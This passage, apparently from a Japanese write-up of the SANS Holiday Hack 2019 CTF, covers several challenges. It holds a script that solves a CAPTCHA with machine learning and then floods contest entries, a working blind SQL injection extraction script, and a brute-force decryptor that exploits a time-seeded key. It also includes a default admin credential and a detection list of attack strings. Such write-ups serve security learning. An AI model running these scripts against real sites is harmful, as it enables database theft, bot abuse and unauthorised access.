    challenge_image_types = [challenge_image_type[0].strip(), challenge_image_type[1].strip(), challenge_image_type[2].replace(' and ','').strip()] # cleaning and formatting

    # Can use queues and threading to spead up the processing
    q = queue.Queue()

    #Going to interate over each of our images.
    for img in b64_images:
        # We don't want to process too many images at once. 10 threads max
        while len(threading.enumerate()) > 10:
            time.sleep(0.0001)
        threading.Thread(target=predict_image, args=(q, img, challenge_image_types, sess, graph, labels, input_operation, output_operation)).start()

    print('Waiting For Threads to Finish...')
    while threading.active_count() > 1:
        #print(threading.active_count())
        time.sleep(0.0001)

    # This should be JUST a csv list image uuids ML predicted to match the challenge_image_type .
    select_images = [q.get() for x in range(q.qsize())]
    final_answer = ','.join( [ img['uuid'] for img in select_images ] )
    
    json_resp = json.loads(s.post("{}api/capteha/submit".format(url), data={'answer':final_answer}).text)
    if not json_resp['request']:
        # If it fails just run again. ML might get one wrong occasionally
        print('FAILED MACHINE LEARNING GUESS')
        print('--------------------\nOur ML Guess:\n--------------------\n{}'.format(final_answer))
        print('--------------------\nServer Response:\n--------------------\n{}'.format(json_resp['data']))
        sys.exit(1)

    print('CAPTEHA Solved!')
    # If we get to here, we are successful and can submit a bunch of entries till we win
    userinfo = {
        'name':'Krampus Hollyfeld',
        'email':yourREALemailAddress,
        'age':180,
        'about':"Cause they're so flippin yummy!",
        'favorites':'thickmints'
    }
    # If we win the once-per minute drawing, it will tell us we were emailed. 
    # Should be no more than 200 times before we win. If more, somethings wrong.
    entry_response = ''
    entry_count = 1
    while yourREALemailAddress not in entry_response and entry_count < 200:
        print('Submitting lots of entries until we win the contest! Entry #{}'.format(entry_count))
        entry_response = s.post("{}api/entry".format(url), data=userinfo).text
        entry_count += 1
    print(entry_response)


if __name__ == "__main__":
    main()

初回の判定で時間がかかるため、CAPTCHA画像の取得前に、#warmup処理を入れた。

また、CPU実行では5秒以内にクリアできなかったため、GPU実行するためにtensorflow_gpuとCUDAを使用した。パラメータやプログラムをチューニングすればCPU実行でもクリアできたかもしれないが、力で押してしまった。

(venv) D:\Develop\CTF\Contest\SANS2019>python capteha_api.py
WARNING:tensorflow:From capteha_api.py:11: The name tf.logging.set_verbosity is deprecated. Please use tf.compat.v1.logging.set_verbosity instead.

WARNING:tensorflow:From capteha_api.py:11: The name tf.logging.ERROR is deprecated. Please use tf.compat.v1.logging.ERROR instead.

bc4876c3-e584-11e9-97c1-309c23aaf0ac Ornaments
c8534506-e584-11e9-97c1-309c23aaf0ac Stockings
db4d2d18-e584-11e9-97c1-309c23aaf0ac Ornaments
efe57aca-e584-11e9-97c1-309c23aaf0ac Ornaments
28d30603-e585-11e9-97c1-309c23aaf0ac Stockings
3b8d0ffd-e585-11e9-97c1-309c23aaf0ac Christmas Trees
4239c700-e585-11e9-97c1-309c23aaf0ac Stockings
6b6c4b1f-e585-11e9-97c1-309c23aaf0ac Stockings
7b0948d3-e585-11e9-97c1-309c23aaf0ac Ornaments
a73111a4-e585-11e9-97c1-309c23aaf0ac Christmas Trees
77038979-e586-11e9-97c1-309c23aaf0ac Ornaments
7ae2ec20-e586-11e9-97c1-309c23aaf0ac Christmas Trees
b53a83cc-e586-11e9-97c1-309c23aaf0ac Ornaments
c0b9ab01-e586-11e9-97c1-309c23aaf0ac Christmas Trees
a20bf50e-e586-11e9-97c1-309c23aaf0ac Christmas Trees
27d6c159-e587-11e9-97c1-309c23aaf0ac Christmas Trees
29347cd2-e587-11e9-97c1-309c23aaf0ac Christmas Trees
294e44c4-e587-11e9-97c1-309c23aaf0ac Stockings
91dfe747-e587-11e9-97c1-309c23aaf0ac Stockings
Waiting For Threads to Finish...
48ef0285-e588-11e9-97c1-309c23aaf0ac Stockings
CAPTEHA Solved!
Submitting lots of entries until we win the contest! Entry #1
Submitting lots of entries until we win the contest! Entry #2
(snip)
Submitting lots of entries until we win the contest! Entry #101
Submitting lots of entries until we win the contest! Entry #102
{"data":"<h2 id=\"result_header\"> Entries for email address <mailaddress> no longer accepted as our systems show your email was already randomly selected as a winner! Go check your email to get your winning code. Please allow up to 3-5 minutes for the email to arrive in your inbox or check your spam filter settings. <br><br> Congratulations and Happy Holidays!</h2>","request":true}

クリアするとEメールを受信した。

f:id:graneed:20191231105259p:plain

answer: 8Ia8LiZEwvyZr2WO

9) Retrieve Scraps of Paper from Server

Error-Based Blind SQL Injectionを使用してサイト上からレコードを窃取し、得られたURLのパスから画像ファイルを集めた。

テーブル名、カラム名を特定してからレコードを取得する。プログラムは以下のとおり。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import time

URL = 'https://studentportal.elfu.org/application-check.php'
URL_V = "https://studentportal.elfu.org/validator.php"
target = ""

def challenge(offset, guess):
    threshold = 1

    req = requests.get(
        URL_V
    )
    token = req.text

    start = time.time()
    req = requests.get(
        URL,
        params={
            #"elfmail" : "' or if(ASCII(SUBSTRING((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) < {}, ~(FALSE)+1, 1) #".format(offset + 1, guess, threshold),
            #[+] target: applications,krampus,students

            #"elfmail" : "' or if(ASCII(SUBSTRING((select group_concat(column_name) from information_schema.columns where table_name='krampus'), {}, 1)) < {}, ~(FALSE)+1, 1) #".format(offset + 1, guess, threshold),
            #[+] target: id,path

            "elfmail" : "' or if(ASCII(SUBSTRING((select group_concat(path) from krampus), {}, 1)) < {}, ~(FALSE)+1, 1) #".format(offset + 1, guess, threshold),
            #[+] target: /krampus/0f5f510e.png,/krampus/1cc7e121.png,/krampus/439f15e6.png,/krampus/667d6896.png,/krampus/adb798ca.png,/krampus/ba417715.png

            "token": token
        }
    )
    elapsed_time = time.time() - start

    if "Error" in req.text:
        return True
    else:
        return False

def binarySearch(offset):
    low = 0
    high = 256

    while low <= high:
        guess = (low + high) // 2
        is_target_lessthan_guess = challenge(offset, guess)
        if is_target_lessthan_guess:
            high = guess
        else:
            low = guess

        if high == 1:
            return -1
        elif high - low == 1:
            return low

while True:
    code = binarySearch(len(target))
    if code == -1:
        break
    target += chr(code)
    print("[+] target: " + target)

print("[+] target: " + target)

f:id:graneed:20191231172932p:plain

answer: Super Sled-o-matic

10) Recover Cleartext Document

暗号化ツールで暗号化されたファイルを復号する問題。

まずは暗号化ツールの仕様と挙動を確認する。

--insecureオプションでHTTP通信にしてWireSharkで観察しながら実行すると、 キーをローカルで生成してから、サーバに送信し、サーバ側でsecret idを払い出していることがわかる。

(venv) D:\Develop\CTF\Contest\SANS2019\q10>elfscrow.exe --insecure --encrypt test.txt test.txt.enc
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!

*** WARNING: This traffic is using insecure HTTP and can be logged with tools such as Wireshark

Our miniature elves are putting together random bits for your secret key!

Seed = 1577829922

Generated an encryption key: 0a875607c97060d3 (length: 8)

Elfscrowing your key...

Elfscrowing the key to: elfscrow.elfu.org/api/store

Your secret id is 65d62b04-b20b-4a36-9328-c9ea5625a547 - Santa Says, don't share that key with anybody!
File successfully encrypted!

    ++=====================++
    ||                     ||
    ||      ELF-SCROW      ||
    ||                     ||
    ||                     ||
    ||                     ||
    ||     O               ||
    ||     |               ||
    ||     |   (O)-        ||
    ||     |               ||
    ||     |               ||
    ||                     ||
    ||                     ||
    ||                     ||
    ||                     ||
    ||                     ||
    ++=====================++

復号の際には、secret idをサーバに送信して、サーバに保存されているキーを取得して復号しているようだ。

(venv) D:\Develop\CTF\Contest\SANS2019\q8>elfscrow.exe --insecure --decrypt --id=65d62b04-b20b-4a36-9328-c9ea5625a547 test.txt.enc test.txt.dec
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!

*** WARNING: This traffic is using insecure HTTP and can be logged with tools such as Wireshark

Let's see if we can find your key...

Retrieving the key from: /api/retrieve

We found your key!
File successfully decrypted!

  +----------------------+
  |\                    /\
  | \ ________________ / |\
  |  |                |  | \
  |  | +------------+ |  |  \
  |  | |\          /| |  |   \
  |  | | \        / | |  |    \
  |  | |  \      /  | |  |     \
  |  | |   \    /   | |  |     |
  |  | |    \  /    | |  |     |
  |  | |     \/     | |  |     |
  |  | |            | |  |     |
  |  | |            | |  |     |
  |  |_|   SECRET   |_|  |     |
  | /  +------------+  \ |     |
  |/                    \|     |
  +----------------------\     |
                          \    |
                           \   |
                            \  |
                             \ |
                              \|
                               |

ターゲットとなるファイルを復号するキーを得るためのsecret idをサーバから取得するのは厳しそうである。

暗号化を実行した際のSeed = 1577829922の出力に注目する。これは明らかにUnixtimeであり、キーの生成にあたりUnixtimeを使用していることを示唆している。また、問題のヒントとしてWe know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.という情報が与えられている。

つまり、キーの生成処理を解析し、何らかのSeed値として使用されているUnixtimeについては2時間の範囲を総当たりすれば、キーを特定できると推測できる。

Ghidraでデコンパイルして、キーの生成処理を確認する。

f:id:graneed:20200101071912p:plain

f:id:graneed:20200101071940p:plain

推測通り、現在時間のUnixtimeを元にキーを生成している。乱数は使用しておらず、Unixtimeの値をそのまま使用して計算およびbit演算をしている。

このキー生成ロジックをPythonに移植した上で、2時間の範囲を総当たりするプログラムを作る。暗号化方式はDES_CBCで、ivは無指定であったので0x00で埋めた。 復号結果のファイルはPDFであることがわかっているため、PDFファイルのマジックナンバーである%PDFが含まれているかどうかをチェックした。

from datetime import datetime, timezone
from Crypto.Cipher import DES

ENCRYPT_FILE_PATH = 'ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc'
DECRYPT_DIR_PATH = './output/'

#int __cdecl super_secure_random(void)
#{
#  DAT_0040602c = DAT_0040602c * 0x343fd + 0x269ec3;
#  return DAT_0040602c >> 0x10 & 0x7fff;
#}
DAT_0040602c = 0
def super_secure_random():
    global DAT_0040602c
    DAT_0040602c = DAT_0040602c * 0x343fd + 0x269ec3
    return DAT_0040602c >> 0x10 & 0x7fff

#  i = 0;
#  while (i < 8) {
#    iVar2 = super_secure_random();
#    buffer[i] = (uchar)iVar2;
#    i = i + 1;
#  }
def genKey(seed):
    global DAT_0040602c
    DAT_0040602c = seed
    key = bytearray()
    for i in range(8):
        iVar2 = super_secure_random()
        key.append((iVar2 & 0x000000ff))
    return bytes(key)

unpad = lambda s : s[0:-s[-1]]
def decrypt(encrypt_data, key):
    #print(encrypt_data[:DES.block_size])
    #cipher = DES.new(key, DES.MODE_CBC, encrypt_data[:DES.block_size])
    cipher = DES.new(key, DES.MODE_CBC, "\x00\x00\x00\x00\x00\x00\x00\x00")
    try:
        return unpad(cipher.decrypt(encrypt_data))
    except KeyboardInterrupt:
        raise
    except:
        pass

def main():
    with open(ENCRYPT_FILE_PATH, "rb") as encrypt_file:
        encrypt_data = encrypt_file.read()

        # We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.
        from_time = int(datetime(2019,12,6,19,tzinfo=timezone.utc).timestamp())
        to_time = int(datetime(2019,12,6,21,tzinfo=timezone.utc).timestamp())

        for seed in range(from_time, to_time):
            key = genKey(seed)
            decrypt_data = decrypt(encrypt_data, key)
            if decrypt_data is not None and b"%PDF" in decrypt_data:
                with open(DECRYPT_DIR_PATH + str(seed) + ".pdf", 'wb') as decrypt_file:
                    print("[+] decrypt: " + DECRYPT_DIR_PATH + str(seed) + ".pdf")
                    decrypt_file.write(decrypt_data)

if __name__ == "__main__":
    main()

実行すると3つのファイルが生成され、うち1つのファイルを正しくArobat Readerで表示することができた。

f:id:graneed:20200112190101p:plain

answer: Machine Learning Sleigh Route Finder

11) Open the Sleigh Shop Door

Web画面の中から鍵を開くためのコードを集める問題。鍵は全部で10個。 ヒントにしたがって、Web画面のJavaScript/DOM/CSSの属性や値を表示したり操作したりすると、コードが得られる。

大半のコードは表示するたびに値が変わるため、やり直すときには再度最初から確認していく必要がある。 JavaScriptでコードを生成しているようだが、難読化されているため、それを読み解くよりは正攻法で解く方が早そうだ。

1

開発者コンソールにそのまま表示されている。

f:id:graneed:20200112190659p:plain

2

CSSのmedia typeが印刷用の場合にのみ表示されるため、印刷プレビュー画面から確認する。 f:id:graneed:20200101073059p:plain

3

ネットワークキャプチャを確認すると、定期的に以下のURLにアクセスしている。
https://crate.elfu.org/images/a5097628-75cd-48d4-90c1-c43abdba7991.png

f:id:graneed:20200112220245p:plain

4

ローカルストレージに格納されている。

f:id:graneed:20200101104800p:plain

5

document.titleの後ろの方にセットされているため、コンソールでdocument.titleを実行して確認する。

f:id:graneed:20200101104835p:plain

6

ホログラムのカードに適用されているスタイルのperspectiveの値を巨大にすると表示される。

f:id:graneed:20200101082025p:plain

7

問題文のフォント名を確認する。

f:id:graneed:20200101081845p:plain

8

問題文でハイライトされているeggsのイベントリスナーを確認する。

f:id:graneed:20200101082449p:plain

9

問題文の中でspanタグでclassがchakraとなっている部分の状態を強制的にactiveにすると表示される。

Triggering of pseudo classes  |  Web  |  Google Developers

f:id:graneed:20200101103850p:plain

f:id:graneed:20200101082921p:plain

10

鍵の装置のカバー画像のdiv要素をdrag & dropで移動すると、基盤がむき出しになる。

f:id:graneed:20200101110026p:plain

基盤の右下にコードが書いてあるが、それをそのまま入力しても、コンソールでエラーメッセージが表示される。

f:id:graneed:20200101103212p:plain

Error: Missing macaroni!

ソースコード内をmacaroniで検索すると、classがcomponent macaroniのdiv要素を発見する。 drag&dropで鍵の装置のdiv要素の子に移動し、再度コードを入力すると、次のエラーメッセージが表示される。 同じ要領で、swab、gnomeも移動する。

f:id:graneed:20200101105815p:plain

f:id:graneed:20200101105658p:plain

10個の鍵を開けると答えが表示された。

answer: The Tooth Fairy

高速化

クリアはできたものの、画面を表示してからクリアするまでの時間が計測されているようで、3分以内を目指すようメッセージが表示された。 10個の鍵のうち、簡単にJavaScriptでコード値を設定可能な部分だけ対応して半自動化し、3分を切ってみた。

// 4
document.getElementsByTagName("input")[3].value = localStorage.getItem("🛢️🛢️🛢️")
// 5
document.getElementsByTagName("input")[4].value = document.title.substr(-8)
// 8
document.getElementsByTagName("input")[7].value = "VERONICA"
// 10
document.getElementsByTagName("input")[9].value = "KD29XJ37"
document.getElementsByClassName("lock c10")[0].appendChild(document.getElementsByClassName("component macaroni")[0])
document.getElementsByClassName("lock c10")[0].appendChild(document.getElementsByClassName("component swab")[0])
document.getElementsByClassName("lock c10")[0].appendChild(document.getElementsByClassName("component gnome")[0])
document.getElementsByClassName("locks")[0].appendChild(document.getElementsByClassName("cover")[0])

f:id:graneed:20200101114910p:plain

ただ、次は5秒以内を目指せとメッセージが表示された。諦めた。

12) Filter Out Poisoned Sources of Weather Data

JSON形式のWebサーバのアクセスログを分析し、不正なデータをリクエストしてくるIPアドレスを管理画面からブラックリストに登録する問題。

ただ、管理画面へログインするクレデンシャル情報もない状態からスタート。

Step1. ログイン

ステータスコードが200のログを抽出し、有効なURLをリストアップする。

root@kali:/mnt/hgfs/CTF/Contest/SANS2019/q12# cat http.log | jq '(.[] | select (.status_code==200)) | .uri' | sed 's/"//g' | sed 's/\?.*//' | sort | uniq > status_200.txt
root@kali:/mnt/hgfs/CTF/Contest/SANS2019/q12# cat status_200.txt
/
/alert.html
/apidocs.pdf
/api/firewall
/api/login
/api/measurements
/api/stations
/api/weather
/css/alt.css
/css/freelancer.min.css
/css/main.css
/css/weathermap.css
/home.html
/img/badweather.png
/img/goodweather.png
/img/logo_zoomed2.PNG
/index.html
/js/CustomEase.js
/js/freelancer.min.js
/js/ipaddr.js
/js/library-g.js
/js/Morph.js
/js/weathermap.js
/logout
/map.html
/README.md
/santa.html
/vendor/bootstrap/js/bootstrap.bundle.min.js
/vendor/fontawesome-free/css/all.min.css
/vendor/fontawesome-free/webfonts/fa-solid-900.woff2
/vendor/jquery-easing/jquery.easing.min.js
/vendor/jquery/jquery.min.js

README.mdが怪しい。

root@kali:/mnt/hgfs/CTF/Contest/SANS2019/q12# curl https://srf.elfu.org/README.md
# Sled-O-Matic - Sleigh Route Finder Web API

### Installation

 ```
sudo apt install python3-pip
sudo python3 -m pip install -r requirements.txt
 ```

#### Running:

`python3 ./srfweb.py`

#### Logging in:

You can login using the default admin pass:

`admin 924158F9522B3744F5FCD4D10FAC4356`

However, it's recommended to change this in the sqlite db to something custom.

デフォルトのクレデンシャル情報を入手できた。入力するとログインに成功した。

Step2. ブラックリスト作成

エルフの情報から、攻撃パターンはXSS、SQLi、LFI、ShellShockの4種類であることがわかる。

ログを眺めると、確かにそれっぽい攻撃データが散見される。 host、uri、user_agent、usernameにセットされているようなので、それらに攻撃データをセットしているIPアドレスブラックリストにいれる。

ただ、それだけでは足りなかった。 エルフの情報から、更に横展開して確認するようヒントがあったため、攻撃データをセットしているログのuser_agentと、同じuser_agentを使用しているログのIPアドレスブラックリストに追加する。それだけでは誤検知してしまうため、件数で閾値を設ける。

jqコマンドでやるのは辛いので、pythonで書く。

import json

def main():
    f = open("http.log", "r")
    logs = json.load(f)

    blacklist_ip = []
    blacklist_ua = []

    for record in logs:
        for column in ["host","uri","user_agent","username"]:
            for check in ["<script>","' ","./","/etc/passwd", "/bin/", ":;"]:
                if check in record[column]:
                    blacklist_ip.append(record["id.orig_h"])
                    blacklist_ua.append(record["user_agent"])
    blacklist_ip = list(set(blacklist_ip))
    blacklist_ua = list(set(blacklist_ua))
    print("[+] blacklist_ip size: " + str(len(blacklist_ip)))

    blacklist_ua_counts = {}
    for record in logs:
        for ua in blacklist_ua:
            if ua == record["user_agent"]:
                blacklist_ua_counts[ua] = blacklist_ua_counts[ua] + 1 if ua in blacklist_ua_counts else 1

    threshold = 2
    print(blacklist_ua_counts)
    for k, v in blacklist_ua_counts.items():
        if v > threshold:
            blacklist_ua.remove(k)

    for record in logs:
        for ua in blacklist_ua:
            if ua == record["user_agent"]:
                blacklist_ip.append(record["id.orig_h"])
    blacklist_ip = list(set(blacklist_ip))
    print("[+] blacklist_ip size: " + str(len(blacklist_ip)))

    for ip in blacklist_ip:
        print(ip+",", end="")

if __name__=='__main__':
    main()

得られたIPアドレスリストをブラックリストとして登録すると、答えが得られた。

answer: 0807198508261964

最後の部屋に到達し、キャラクター全員に話しかけるとスタッフロールが流れてクリア。

f:id:graneed:20200102005216p:plain

f:id:graneed:20200102005423p:plain

所感

昨年も感じたが、とにかく問題のバリエーションやテーマが多岐にわたっていて、チャレンジしていてワクワクする問題が多い。さすがSANS。

今年の目玉の問題は、splunkと機械学習だろう。どちらも、触ったことが無い人が初めて触るのにちょうどいい難易度だと思う。 あと、実はGhidraを触るのは今回が初だったりもする。良いきっかけを与えてくれた。

いずれにしても、無料でここまで勉強させてもらえるコンテンツは中々無い。次回も楽しみである。